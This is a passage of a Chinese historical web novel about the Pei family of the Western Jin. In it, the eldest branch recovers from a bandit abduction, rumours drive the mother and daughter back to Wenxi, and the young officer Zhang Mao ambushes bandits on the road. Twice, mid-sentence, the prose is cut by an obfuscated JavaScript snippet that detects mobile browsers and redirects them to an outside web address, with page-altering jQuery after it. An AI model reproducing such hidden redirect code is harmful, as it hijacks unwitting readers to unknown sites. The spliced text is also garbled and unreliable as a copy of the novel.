正门口,一身狼狈的小郭氏和裴憬,正被裴崇和张茂搀扶着下车。 郭老夫人冲到大儿媳并长孙面前,拉着俩人左右端详,发现只裴憬脸上有道划伤,其余并无大碍,这才放下心来。 小郭氏方才在车里已经哭过一场,见到老夫人,又是一番泣泪。 王夫人赶紧上前扶住嫂子,一边好言劝着,一边把人往院子里带——门口有不少部曲仆从,怎好在下人面前失态。 裴頠并未回来,张茂禀报道郎主与王驸马、贾国公等夤夜进宫面圣去了。 长房一时热闹起来。 裴妍也被惊醒了,在见到小郭氏和裴憬后,悲喜交加,母子三人劫后余生,相拥而泣。 郭老夫人平复下来后,把裴崇叫到了内室,仔细询问个中情形。 裴崇却摇头:“这得问阿茂。”他跟裴頠、贾谧等人率兵赶到的时候,大局已定,匪首已经被斩杀了。 张茂此前鬓发凌乱,衣服带血,回房刚换了衣裳,简单处理了身上的伤口,就被老夫人请了过去。 面对老夫人的询问,张茂知无不言,将经过细细说来。 人可以说是驸马王敦救下的。为防打草惊蛇,他命部曲人衔枚马裹蹄,一路疾行至小苍山下,又兵分三路,正面佯攻,俩侧路救人。 张茂被分在左翼,当他率领一队人马干掉多处哨卡,率先摸进匪巢时,狂妄如汲田显然没有料到他们会来得这么快,正压着一个貌美的婢女行乐,听到大营的喊杀声才匆匆提着裤腰带出来应敌,眼见大势不好,竟将小郭氏并裴憬押到阵前,妄想挟人质杀出重围。 张茂不敢妄动,本想等裴頠和贾谧到了再拿主意。驸马王敦却不顾人质,搭弓挽箭,正中那匪首眉心。裴憬脸上的划痕就是王敦的箭头擦伤的。 郭老夫人倒吸一口凉气,对驸马王敦的看法也复杂起来——他虽救了人,却也差点害了她长孙。她闭上眼,叹道:“罢了,此番,终归是欠了王家人情。”不是王敦接到道观线报,立刻给裴家和朝廷示警,又亲率部曲全力营救,只怕长房一行已经覆灭。 张茂亦道:“王驸马颇擅兵道,茂敬服。”幸亏王敦率先救人。等他们剿完匪下山时,发现山下火光延绵,人沸马嘶,原来是朝廷的兵马杀到了。可笑那贾谧夜间行军,竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001211|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明火执仗,毫不遮掩,若等贾谧来救人,只怕小郭夫人并裴憬早死过几回了! 第二天辰时,裴頠终于归家。宫里的裴妡也跟父亲一道回了府,一到家就匆匆来寻裴妍。姊妹俩见面又是一阵抱头痛哭。 小郭氏经此一事,人更加畏缩萎靡,第二日竟发起高烧来。可怜裴憬裴妍兄妹自己还惊魂未定,又要侍奉母亲,也陆续病了起来。 裴頠请皇甫神医来给长房问诊,皇甫严看过后,却道几人只是受惊过度,哀思劳神,凝神静养即可。 小郭氏病倒后,长房无人做主,担子一时全部压在王夫人肩上。 郭老夫人问起长房的伤亡情况。 王夫人叹了口气,回禀道:“这次东郊之行,死了十二个婢子,三十四个部曲,另有两名婢子虽留得性命,却被毁了清白,须打发出去。” “那个柳媪呢?” 王夫人道:“殁了。” 这些仆从里,既有小郭氏的乳母柳氏,又有几个叫得上名的得力婢子仆从,很是可惜。 郭老夫人道:“都是忠仆,切记厚待他们家人。” 王夫人应是,又道:“不若再从他们家中选人进来?” 郭老夫人点头,随她做主了。 张茂除隔日回了趟家,给父兄报平安外,其余时间要么陪在裴憬身边,要么帮助裴頠料理部曲后事。 那个阿?,也由他向裴頠陈情,特命两个部曲护送他回乡了。 裴憬自打回来后,夜里总也睡不安稳,竟有发癫之兆,还好他的小厮长河在此番混战中,得幸保住了性命,一直陪着他。在长河和张茂不遗余力的陪伴与开解下,裴憬才渐渐恢复神智。 裴妍那里张茂也去过。因是外男,按理只能在花厅外问问情况。照顾裴妍的是老夫人的陪房秦媪,她对张茂奋不顾身救下长房母子的壮举很是钦佩,知他与长房兄妹素来亲厚,便放下榻前的帷帐,破例放他进来探望。 裴妍就半坐在厚厚的帷幔里。 张茂隔着屏风和层层纱幔,只能看见一个小小的人影。 人影动了动,沙哑着嗓子唤他:“阿茂哥。”听声音,显然是哭过。 “我在。” “你说,风荷雨荷还有那些被盗匪害了的人,会怪我么?”毕竟,那天是她非要去那王家别院的啊! 张茂没有正面回答她,只对她讲起一事:“两年前,我曾在阿父军中做度支小校。一次运送粮草,因为时间紧迫,我只好弃官道,带着那对辎重抄了近路。结果半道上遭遇秃发余孽,我们拼死守粮,从数百人,战至十几人,直到我阿父派人来救,这才侥幸没死。我时常在想,那些在这场遭遇战里死去的同袍,会不会恨我,如果我带他们走另一条常走的大路,那里驻军多,敌军断不敢贸然来袭。也许,他们就不会死!为此,我曾经一度自责,觉得对不住他们。” 裴妍坐直身子,她思索片刻,开解张茂道:“可是你拼死护住了军粮。” 张茂点头道:“不止,因为那条近道,我部虽遭突袭,却也提前三天把粮草运到了大营,使我阿父得以早早排兵布阵,趁对方不备,把湟水对岸的秃发主力绞杀无几。” 他朝二人之间隔着的帘子近了一步,轻声道:“那些婢子部曲,是被盗匪所杀,这本不是你的错。至于误将他们引入狼窝的你,”张茂苦笑,“确实对不住他们。但是反过来想,若非你和大夫人误打误撞进了贼窝,朝廷又怎会立刻出兵剿匪?我们又怎么可能这么快锁定他们的老穴,将他们一网打尽?这些盗匪不死,即便你的婢子和部曲逃过一劫,却会有更多的商贾、黎民惨遭屠戮。你虽对不住那些死去的人,却救了更多的人。” 张茂无法与裴妍讲慈不掌兵的大道理,只能就事论事的开解她。 裴妍听后,这些天压在心里的苦楚与自责稍稍缓减了些。只是,她一闭上眼,就会看到木槿被蹂躏时那绝望凄清的眼神,听到那些死在柴房里的婢子痛苦哀告的呻吟。她想起风荷雨荷,想起母亲的乳媪柳氏,这些都是亲人一般的人,却都死在了盗匪手里…… “你说,那些枉死的人,在地下还会痛苦吗?”裴妍问。 “人死了,就没有知觉了,所以才有诗云‘视死忽如归’。”张茂道。这个问题他也曾在第一次上战场时,问过阿父,阿父就是这么回答他的。 裴妍露出一丝欣慰的苦笑:“如此,也好,她们身前是那么痛苦。” “元娘……”该说的已经说了,张茂不知该如何继续宽慰她。那些婢子的惨状,张茂亲眼所见。他尚且于心不忍,何况与她们感情甚笃的裴妍? “听说,叔母要派新的人来了。”裴妍幽幽道,“你说,她们来了后,还有人记得风荷、雨荷还有柳媪她们吗?” “只要你记得,便无人敢忘。”张茂道。 上行下效,做主人的不忘旧人,年年祭祀,年年给牺牲的人家里发放抚恤,做下人的怎会忘记? “我明白了。阿茂哥,谢谢你!”她这些天,一直在为死去的人难过,可又什么都做不了。如今,得张茂点拨,终于释然了些——既然她无法救回他们,那么至少,她可以记住他们。她这些年存了不少私房,晚上就禀了阿母,全部送给这次遭难的人家! 从裴妍处出来后,张茂问秦媪:“小子家正巧有两个拳脚厉害的婢子,不知可否献与大夫人与元娘?” 秦媪听罢心内一喜,前番郭老夫人还发话,说要到娘家讨些会拳脚的奴婢来。毕竟部曲功夫再了得,也不能贴身照顾女眷。而会拳脚的女子在世面上又是稀罕货,也就武将之家,自小培养,能寻出二三来。 她笑道:“茂郞有心!奴这就禀了老夫人!” 不久,张茂献上的两名婢子就进了府。 二人是嫡亲姊妹,一唤定春,一唤容秋,分别给了小郭氏与裴妍。 有了二女的守护,张茂才略略放宽了心。 然而树欲静而风不止,长房的风波并未随母子三人的得救而停止。相反,三夫成对,众议成林,谣言在京中越传越广,更被有心人推波助澜。 不过几天,钜鹿郡公府长房受辱的言论便甚嚣尘上! 18. 匪类无端毁清誉,长房母女回闻喜 正午时分,骄阳炙地,柳树上,一只肥大的垂緌正慵懒的叫着“知了”,不料头上突然罩下一只大网,它挣扎两下,被人用手死死捏住,自此,再发不出声。 庭外捕蝉的粗使婢子擦了一把额上的汗,咬牙劳作。 “阿妹,还有多少?”树下的婢子催问道。 “快了!”树上的婢女又黏下一个。她正把捉来的蝉虫往腰间的网兜里装,突然被远处的动静吸引住——对面的回廊一阵喧腾,连廊上的竹帘被燥郁的暖风击得左右晃荡。 “唔唔!” 缝隙间,依稀可见一个蓬头散发的仆妇被五花大绑,几个五大三粗的婆娘像架着死猪似的拖着她往外跑。那仆妇嘴被麻布堵得死死的,眼里满是怨愤的冤屈,奈何说不了话,只能摇着头,狰狞地发出不成调的呻吟。 “啧啧,这月第几个了?”树上的小婢摇头道。 树下的婢子显然也听到了动静,对她做了一个噤声的动作:“快别说了,祸从口出!” 自三月前,长房一行被救回后,京里就开始流传了无数谣言,有说大夫人为保得性命,以身侍敌的,有说元娘小小年纪就失了贞的,总之,编排得有鼻子有脸。 钜鹿郡公府本不欲理会,流言止于智者,很多事情越描越黑。不若冷处理,过段日子等洛阳又有了新的谈资,流言自会散去。 谁料三个月来,流言不仅没有平息,反而被传得越来越离谱,有愈演愈烈之势。 小郭氏自回府后,身体便不大好,裴憬和裴妍一直侍奉床前,久未出府交际。 然而二房诸人却一直在外走动的,难免听到风言风语。 二夫人直觉此事不简单,命府里下人禁言,不得将外面的污言秽语扰了老夫人和小郭氏清静。但依然有几个长舌的婢子管不住口条,屡屡犯禁。算上刚才被捉的那个,光这月就撵出去五个! 府里可以禁言,却挡不住府外的长舌。 王夫人前番回娘家,被妯娌小声问起长房的事,这才知道京城已经传遍了。她再也坐不住,赶紧回府与裴頠商量对策。 裴頠在朝中也隐隐听到风声。他想得更深些,这样的流言没人敢放到台面上讲,豪门是非多,即便是茶余饭后的谈资也很少有超过月余的,毕竟,京里最不缺的就是绯闻。像今次这样,三个月都未能平息的,实属罕见。 他脑中划过几个可疑的人来,就连亲家琅琊王氏,都有些犹疑起来——毕竟是王敦救的人。这流言传的有鼻子有眼的,好似亲历者般,怎不让人起疑? 王敦也有察觉,特地于旬日登门,与裴頠在书房密议良久。 送走王敦后,候在室外的裴崇、裴该兄弟被叫了进去。 书案上降真香袅袅婷婷,裴頠靠着漆几,胡坐在床上,一手敲打着扶手,一手疲倦地捏着眉心。 “阿耶。”裴崇唤他。 裴頠睁眼,看了眼面前的两个儿子,吐出一口浊气,缓缓道:“驸马说,当日在清净观的,还有尚书右仆射一行。” 在听说钜鹿郡公府长房被掳后,清净观的道士大多去了庄子上支援,而这羊家人非但没有帮忙,反而匆匆离开了。这样不讲道义的事,裴頠本无心计较,毕竟两家交往不深,人家救你是情分,不救也无可厚非。 然而我不欺人,人却欺我。驸马王敦为自证清白,没少放眼线调查这事,发现这些流言,竟多半出自尚书右仆射的仆从之口。这些仆从负责府里的采买事项,三教九流交游广阔,他们要散播流言,真是轻而易举。若无主人授意,这些下人何敢明目张胆的妄议贵人事? 裴该年少气盛,怒道:“欺人太甚!泰山羊氏区区府君起家,若非弘训太后,谁知之者!” 裴该的外家琅琊王氏与泰山羊氏历来不睦。时人云:“二王当国,羊公无德”,讲的就是他外公王戎、外叔公王衍与征南大将军羊祜不睦的事。然而这关河东裴氏什么事?他们怎敢如此! 裴頠止住他,淡淡道:“我与羊瑾同朝多年,他一向审慎,此番事态,不像他所为,倒似妇人手笔。” 在这点上,裴頠和王敦的意见一致。能在内宅搅弄风云,又可在世家妇人之间散播流言的女眷屈指可数,最可疑的便是羊瑾的老妻孙氏。 裴頠曾听妻子王氏说过,这位孙夫人,早年曾属意裴崇为婿,几番在宴席间向王夫人举荐自家女儿,后来裴崇娶了名满天下的才女崔华堂,此事才作罢。另外,孙氏曾几次在私宴中抱怨裴氏双姝名不副实,不如自家孙女聪颖伶俐——不过这些都只是妇人间的龃龉,没想到孙氏竟为了这点小怨,便要败坏钜鹿郡公府女眷的名声?是欺裴家无人么! 裴崇冷静些,他看向父亲,问道:“此事阴诡,颇上不得台面,父亲要如何应对?” 裴该可没那么好性,裴頠还没发话,他已经摩拳擦掌道:“人而无止,不死何俟!” 裴頠没有阻拦幼子,算是默许。毕竟,此事即便不是羊瑾所为,他也免不了失察之责。 三日后,羊尚书府上,一向温和的羊瑾不顾仆婢阻拦,气咻咻地闯进内室,一把拉起席上的夫人孙氏,反手就是一巴掌,厉声质问:“蠢妇,你都干了什么!” 羊瑾为人一向谦和,在强横霸道的孙氏面前也多避让。孙氏从未见丈夫发过这样大的火。 她不可置信地捂住自己火辣辣的半边脸,愣怔了好半晌,多年的气性才燃了上来。 她回手还了羊瑾一巴掌,呵道:“大晚上的,发什么疯?” 羊瑾这次没让着她,一把揪住她的发髻,对着她的耳朵吼道:“你是活不耐烦了?还是嫌我家门第太高?居然敢编排钜鹿郡公府的骚话?” 孙氏一听,脾气更上来了,反手死死拽住羊瑾的美髯,道:“闲话两句怎么了,百年大族,谁家没点污糟事,独裴家说不得?” 羊瑾气得胡子上翘,怒不可遏道:“蠢妇!你给大郎招祸啦!” 羊瑾与孙氏有一子二女,儿子羊玄之是孙氏的心头肉。听说儿子遭灾,孙氏顾不上与丈夫斗气,连忙反拽住羊瑾的衣襟:“老匹夫,你给我说清楚,什么祸不祸的?” “今日,圣上下旨,迁玄之为赵王友,不日赴凉州。可怜我儿竟要去那苦寒之地!”羊瑾吼道,“孙氏,此事皆由你而起!” 孙氏不可置信地松手:“怎么会呢?朝廷又不是裴家的,他们怎敢一手遮天!” “裴頠背靠皇后,皇后行事要理由吗?” 孙氏不服:“先帝都不敢如此对咱家!” “你也说了,是先帝!”羊瑾被气笑了,“先帝敬着咱们,是看在弘训太后慈德。人要有自知之明,我这些年谨小慎微,还不是因为一朝天子一朝臣,谁让咱家只出过一位太后来!” 言罢,羊瑾绕过老妻,头也不回地走了。独留孙氏跪地嚎啕。 另一厢,钜鹿郡公府,长房所在的佩玖院。 王夫人坐在小郭氏床前,新来的婢女定春送上药汤,王夫人亲手接过,喂妯娌用药。 小郭氏赶紧受宠若惊地接住。小郭氏虽是长嫂,但她比王夫人年龄小,又守寡多年,从不掌家,相比而言,一向是她奉承王夫人的多。何敢让王夫人侍药? 王夫人将手边汤药喂完,犹豫再三,还是将裴頠与太夫人的意思斟酌着说了:“京中人多口杂,流言纷扰,不利将养。阿嫂何不携阿妍回乡住些时日?” 虽这些日子府里禁言得紧,但小郭氏想也知道外面对她被掳一事定有不少说辞。王夫人劝她回乡下,显然是得了老夫人首肯。 小郭氏含泪道:“我也就罢了,左右未亡人,多活一天都是折磨。可怜阿妍,小小年纪,就要随我远走……” 王夫人赶紧打住道:“也就去个一年半载,京里是非多,等这一茬过了,谁还记得?何况,闻喜离洛京不远,河东府君又是咱们裴家人,阿嫂何惧之有?” 小郭氏被堵得说不出话来,尽管满心委屈,但她深知,王氏既给她说这话,定是裴頠和太夫人授意的。她自己也确实想不出更好的法子了。 小郭氏自己的清名可以不要,这年头寡妇再嫁是寻常事,但连累裴妍被挑剔,岂不是让裴家以及有意结亲的东海王府没脸?正如王氏所说,左不过一年半载,不妨碍女儿及笄嫁人! 长房母女要还乡的消息很快就传到了裴憬和张茂耳里。 裴憬素日里对小郭氏这位嫡母恨不得敬而远之,但他对妹妹裴妍却是真心宠爱的。听说裴妍也要随嫡母回乡,他闷闷不乐起来。 张茂劝他:“快打起精神来,咱们还得护送大夫人和元娘回乡。” 裴憬瞪大眼睛看着他,不可置信地指着自己:“我……我们护送?” 张茂沉静道:“岂有让女眷独自远行的道理?郡公朝务繁忙,二郎与三郎亦在朝任职,大郎不送又能是谁呢?” 是啊!裴憬一拍脑袋瓜子,转忧为喜起来。一面为不用立时与妹妹分开而高兴,另一面为自己能出去游历一番而欣喜。他自小没出过京城,到过的最远的地方不过是京郊的伊东,还是为了找神医看病,早上出门,晚上便回了府。如今他正好借这次机会,好好看看外面的风物! 张茂的心情却没有那么好。事情发展成这样是他始料未及的。东郊惨案发生之后,他隐约听他姐姐说过,京城有不少长舌妇人在传钜鹿郡公长房夫人的闲话。只是这毕竟是妇人间的事,他并未放在心上,没想到如今流言竟愈演愈烈,甚至到了要长房母女出京避祸的程度。 没能护好长房母女,张茂始终觉得是自己失职。 …… 因要收拾行李,裴妍这几日都没去上课。这日午时,裴憬和张茂一放课就来到裴妍的住处。只见院子里的婢女仆妇正热火朝天地收拾行李,却独独不见裴妍。 裴憬在屏风外唤了两声,才看到裴妍撩帘而出,手里攥着两个五色香囊,眼睛红红的。 张茂一看就知道,裴妍定是才哭过。 裴妍把自己绣的香囊给他俩一人一个:“后日我便要随阿母返乡,今年的仲秋不能陪你们过了。这是我当作业绣的,不过时间有限,阿兄的完全绣好了,阿茂哥的还差点。” 张茂看着手里的香囊,靛蓝的绸布上隐约绣着几丛翠竹,稀稀拉拉的,留白很多,再看看裴憬的,除了竹子外还有几支兰草几只飞鸟。果然,自己的只是半成品。 裴妍有点不大好意思。她伸手想把张茂手上的香囊拿回去:“还是待我绣好了再托人捎给你吧!” 张茂赶紧扬手避开她,笑道:“什么话,元娘绣的很是好看。” 裴憬也已经迫不及待的拽下自己身上的旧香囊,把裴妍的这枚挂了上去——这可是妹妹亲手给他做的礼物呢! “也好,阿茂哥的先留着,待来日我返家后,再把剩下的花样补全?”裴妍提议道。 “一言为定!”张茂欣然一笑。将这个绣了一半的香囊放进自己的袖袋里。傻丫头,她大概以为,他们明日便要分道扬镳了,这才赶工给他们做了香囊。 直到晚上,裴妍去看过母亲,才知道原来哥哥和张茂是要护送她们回老家的。裴妍心里的伤感立时减了几分。虽说裴憬憨傻,张茂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001212|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是外男,但是有了他俩在,裴妍心里便似有了主心骨,连离散也变得不那么突兀。 尤其张茂,尽管他话不多,但只要他安静地立在那里,裴妍便觉得安稳。她又有些后悔,早知道给阿茂哥的香囊晚点送了! 两日转瞬即逝,小郭氏和裴妍出发的那日,钜鹿郡公府除太夫人和裴頠外,阖家送她们到城外西郭。 裴妡抱着堂姐不撒手,哭得一抽一抽的。姊妹俩手拉着手,抹着眼睛说了不少话。直到大人们催促了,这才恋恋不舍地分开。 时值暮夏清晨,暖风带着湿气扑面而来。 张茂骑在高头大马上,看着微醺的早风吹起裴妍额前的碎发。 她拿手理了理,察觉到张茂的目光,特意回头对他笑了笑,而后上了车。 小郭氏正恹恹地靠坐在车里。身后隐隐传来女眷们高喊“保重”的声音,至于里面几分真情几分敷衍就不得而知了。 小郭氏剧烈地咳嗽起来,往常这时候,柳媪会温柔地将她抱在怀里,耐心地拍着她的后背顺气。然而如今,她抚着身下空落落的锦垫,眼里泪光闪烁——她的生母去的早,她自小是柳媪带大的,可怜这半个母亲一样的人,死后自己都不得服丧祭奠。 她看着身边女儿清丽稚嫩的小脸,认命的闭上眼睛,若非这唯一的骨血还未长成,她现下去了又何妨?这茫茫人世,真心为她掉泪的有几人? 小郭氏的心思,裴妍一无所知,她正掀开被风撩起的香车帷帘,朝身后送别的人们奋力挥手。 车队渐行渐远,待到洛阳高大的城墙再也看不到时,裴妍才恋恋不舍地放下车帘。与小郭氏相比,裴妍对此次离别虽也伤感,但并不觉得太难受。纵然这一两年要与兄弟姊妹分开段时间,但只要能与母亲在一处,她便觉得很安稳。何况,这一路还有兄长和张茂陪伴,她并不觉得孤独。 何况,京城规矩多,要学的也多。除了读书、礼仪、女工、驭马,王夫人早前还准备在旬日里给她和裴妡再加练棋道与琴乐。 乖乖,幸亏她逃的早,不然又是一番折磨!早就听说司州的闻喜老家青山绿水,风景秀丽,很是养人,她正好侍奉阿母在老家享受几年,待大些再回来遭罪不迟! 想到裴妡皱着眉头,被按着学弈、弹琴的样子,裴妍很不厚道的捂嘴笑起来。 真真是: 少年不知流年好,芳华岁月轻怀笑。 花落道中不屑顾,金钗风流把人抛。 出了京城往西北走,越走路越荒,不知是天灾还是人祸,行经的农田越来越少,竟有多半田地被黄沙掩埋。这时节垅上本应热闹,然而他们所经村落竟是十室九空。 长房母子三人俱是不事生产的人,平常休息起卧均在驿馆。路上小郭氏母女坐车,偶尔撩帘看看外头透气。裴憬则是走一路问一路,雀跃的像个孩子。 唯有张茂,越往西走,眉头越紧。 一路上,他更是非官道不走,非驿站不歇。哪怕白日天热,亦只许白日赶路,入夜前赶到驿站休息。中途小憩的时候,更是吩咐部曲剑不离手。 裴憬觉得张茂紧张得过了头,一次休息时,他揽着张茂的肩,瞅瞅四周,疑惑道:“茂弟在怕什么?” 张茂摇头,看着散在黄沙里的官道:“不确定,但看方圆十里村落凋敝,廖无人烟,便觉反常。” 一旁的部曲裴池道:“兴许,阖村去外面乞食了?” 张茂摇头:“乞食不可怕,就怕成了乞活。” “乞活军?”裴池大惊,“据说关中乞活军近来猖狂得很,郎君可是怕这个?” “不好说,但愿是我想多了。”然而,越怕什么越来什么。 闻喜隶属司州河东郡,自洛阳入司州,最近的距离便是经宜阳、永昌河谷及雁翎关,沿着河西行过历山入司州界。 历山作为兵家必争之地,各官道口自然有官兵把手。然而过了历山后,哪怕是官道,两侧亦是小路纵横,且树大林密,极易遭遇埋伏。 张茂担忧得不错,年成不好,官府不仁,底下的赤民没了生路,只好去外面乞食。乞食的人多了,里面总有个别能力强、有野心又会忽悠人的,渐渐成了这群人的领袖。无组织的乞食,渐渐成了有组织的打劫。这伙人就是乞活军的前身。 长房母女运气实在不好,在京城东郊撞上了汲田所带的一支乞活军。不过那支流民人数很少,且毕竟在京郊,乞活军还不敢太猖狂。 而今,她们回老家避难,一路西行,越走荒田越多,却没有多少零散的流民行走。结合朝廷几次报上来的关中饥民闹事来看,张茂敏感地觉察到,此间流民必成了建制,即成了所谓的乞活军。 幸而,河东裴氏乃关中望族,钜鹿郡公更是京中权贵。 经历山时,张茂便请当地熟悉地势的守军分派一支与他们领路。因而一路都挺太平的。 然而离闻喜还有百里时,守军将领突然接到紧急军令,道雁翎关外有流民闹事,需立即回防。 守关乃大事,军情紧急,尽管守将很想和裴家套近乎,也只得先行离开,只留下一个熟悉地形的斥候听凭差遣。 他们一走,蛰伏已久的匪军就冒了头。这伙人是从商洛来的,本也不是正经庄稼人,在老家干的就是打家劫舍的勾当。如今商洛遭了天灾,他们在老家榨不出油水,便流窜来了关中。他们在本地没有根基,只能流窜作案。 张茂一行过历山时,就被他们的人盯上了,只是碍于有守军相护,只敢远远坠着,如今眼见着官兵突然撤走,便胆肥地想大干一场。 19. 鲜衣怒马少年时,不负韶华行且知 裴家长房虽不及二房显赫,但该有的体面并不少。这偌大的队伍里,光绫罗绸缎就有五大车,更不提金银器皿等杂项了。 这份体面落在匪军眼里,就是偌大的肥肉,更何况,里面还有小郭氏和裴元娘。 小郭氏容貌秀丽,一身素净的少妇打扮,更添高华。元娘年龄虽小,但姝色初现。 母女俩前番下车透气,风吹起幂离,这对母女的好容颜恰落在匪首眼里。 按说,这匪首当了这么多年老大,不会看不出这家人底细,又是官兵又是部曲,一见便知是世家大族。但凡有点脑子,都不敢妄动。但财色迷人眼,这波人本就是脑袋别在裤腰带上的亡命之徒,旱了许久,骤然看到这泼天的富贵,绝色的佳人,能放得下手? 时值暮夏,午间地面蒸腾的热浪烧得人心里发慌。今年关中大旱,野地里找不着冰块,连着山里的河都枯的见了底。 车外热,车里更热,裴妍和小郭夫人只得下车,坐到大树的浓荫底下乘凉。 定春和容秋拼命地给她俩打扇,无奈扇出的是热风。 小郭夫人本就体虚,此番受了热,更觉身上焐躁得紧,拍着发慌的胸口直喘粗气。 张茂眼见着这样下去不是办法,此处离闻喜虽不到百里,但今日实在太热,这样冒着暑气走,别说身娇体弱的长房母女,就是身强体壮的部曲们,也得倒下去不少。 他召来带路的斥候,问附近可有能歇脚的村落,想着不若休息会,待过了午后再走不迟。 斥候一指道边,禀道:“此间北行数里,便是王屋村,或可供贵人小憩。” 张茂抖开舆图,研究了一会,又召来裴池,与他耳语几句,便请示了小郭夫人,带着众人转道去了王屋村。 王屋村离得不远,郭夫人和裴妍只好耐着暑热上车。 郭夫人上车后就没力气得昏昏欲睡,裴妍睡不着,撩开车帘,见张茂正骑马行在一侧。 他今日着玄色劲装,木簪束发,很是干净利落。哪怕在马背上,亦腰背挺直,一手持剑拍马,一手信马由缰,目光如炬,神采奕奕。 察觉到车里的目光,他转过头来,与裴妍看个正着。恶月的暑气化为搅扰在少年鬓边的汗滴,顺着他英俊的脸庞滑落下来。 裴妍觉得那滴汗珠似乎掉在了自己的心尖尖上,心跳竟莫名变得快起来,脸上也隐隐泛起燥热。 张茂却以为她中暑,驱马走近些,低头关心道:“元娘可是不舒服?” 裴妍赶紧摇头,摸了摸自己发烫的脸,又羞得点点头。 张茂皱眉,这是……热糊涂了? 还好王屋村很快到了,只是如之前所遇,这亦是一个荒村。 村里房屋坍塌严重,张茂驰马溜了一圈,勉强找了间大些的可遮阳的院子。 容秋和定春先行进了屋,一个忙着去后院的井里打水,一个指派小丫头洒扫屋子里外。 裴憬和裴妍扶着郭夫人在车里略等了会,就被张茂请下了车。 郭夫人体弱,到了阴凉的屋子后,勉强喝了碗解暑汤,就倒在新铺的牛皮席上沉沉睡了过去。 眼见母子三人有了歇脚的地,张茂却一口水都来不及喝,就要往外走。 裴妍拽住他问:“阿茂哥不留下歇歇吗?” 裴憬也道:“外面的事自有裴池料理,茂弟陪我做会算数吧?” 张茂却放心不下外面。他对裴妍道:“放心,我就在外面。”又再三叮嘱裴憬:“算数且先收起来。大郎乃家中男丁,当肩负起守护女眷的重任。” 裴憬点头如捣蒜。 张茂又交代定春、容秋并长河诸人,一会无论听到什么动静,千万谨守院门! 张茂行色匆匆,搞得诸人也有些紧张。 裴妍悄悄问裴憬:“难道外面有贼人?” 裴憬摇头:“一路上连个人影都没见到,阿茂却总担心我们会遇上乞活军。” 提到乞活,裴妍是吃过大亏的,脸上立时白了一片。她挪步窗边,见定春、容秋正左右守着屋门,再往外还有一队部曲把手院子,一切井井有条,这才略放下心来。 正如张茂所料,没过多久,垂涎已久的匪徒就打上门来。 院门外瞬时喊杀声震天。小郭夫人自睡梦里惊醒,一把抓住女儿的袖子,瞪大眼睛颤声问:“可是贼人又杀将来了?” 裴妍自己也怕的要死,但她牢记张茂的话,安慰母亲道:“阿母莫急,有阿茂带兵守着,还有定春和容秋,她们都在屋外呢!” “儿也在,阿母勿怕!”裴憬抖抖索索地附和道。他和长河正手持短刃,一左一右地守着屋门,虽抖如筛糠,也没有退缩一步。 茂弟说得对,他是家里唯一的男丁,是母亲和妹妹的倚靠!他断不能像上次那般,眼睁睁的看着家中妇孺受辱,自己却毫无招架之力。 裴妍想了想,也从袖囊中摸出一把小巧的镶金匕首,咬牙横刀挡在母亲身前。 许是儿女的那份勇气感染了小郭夫人,这个懦弱的妇人也终于平复下来。她搂着女儿,眼睛一瞬不瞬地盯着墙上的槅窗,耳朵时刻探听着外间的动静。 张茂早就知道自己被一伙人盯上了。这帮蠢货派出的斥候手脚不干净,被张茂在巡视时查出了端倪。只有千日做贼,哪有千日防贼。与其被贼人算计,不如先下手灭了他们。也正因如此,张茂借着天热避暑,顺势把这伙人引向了王屋村。 王屋村是三山夹两河的谷地,形似口袋。张茂将郭夫人母女、一应财物及少量部曲引入袋中,作为诱饵,自己却带着一队人马守在河边浓密的菖蒲丛里,又命裴池将部曲一分为三,各据高地待命。待这伙贼人迫不及待地追入了王屋村时,张茂便引烟为号,牢牢地扎紧了口袋。 这伙贼人刚摸进村里,见守卫薄弱,正暗自窃喜,却突然发现四面八方都冲出了不少部曲,将自己牢牢围困住,始知中了计。 然而这伙人本就是悍不畏死的匪类,困兽犹斗,在郭夫人的院外依然血战了一场。这也是院外动静如此大的原因。 约莫过了半个时辰,院外打杀声渐消。屋里诸人却更加紧张起来,他们究竟是赢了还是输了? 院门突然被大开,西斜的日光绚烂刺眼,一个颀长的身影踱进门来,是浑身浴血的张茂。 守门的定春和容秋立刻欣喜地向他行军礼。 张茂点头。他自知身上污秽,不敢进去吓了女眷。隔着屋门对郭夫人抱拳道:“贼人已尽数剿灭,夫人可安心休息。” 小郭氏听得此言,这才长长地舒了口气,感激地对张茂道:“多亏张小郎,吾等才能保全性命!” 张茂不敢居功,把功劳尽数推给家里的部曲。他如今身上沾血,禀完战报,便想出去修整。 屋门却突然打开,一抹倩影急急行出。日头西斜,眼前有些背光。张茂眯起眼睛,这才看清,在自己拉得长长的阴影里,站着一个桃红襦裙的小女郎,原来是裴妍。 暮夏的蝉鸣突然漏了半拍,裴妍一靠近张茂,就闻到一阵刺鼻的血腥味。 她的身高才及到张茂的胸口,目光不自觉地落在他胸前的锁子铠上。铠甲编织紧密,然而每一个缝隙里,都夹着厚重浓稠地赤黑色血迹。 裴妍想起年前张茂初来家里时,她和阿兄问他有没有杀过人。那时他没有回答。如今,她倒是知道答案了。然而她并不觉得害怕,张茂杀的都是要害她们的人。若不是张茂拿起屠刀,被凌虐的就会是她们。可以说,正因为有张茂在,她才觉得万分踏实。 “给你。”裴妍伸出一只小手,递上一张折得四四方方,却沾了清水的湿漉漉的丝帕。 “哦,多谢!”张茂接下裴妍的帕子。 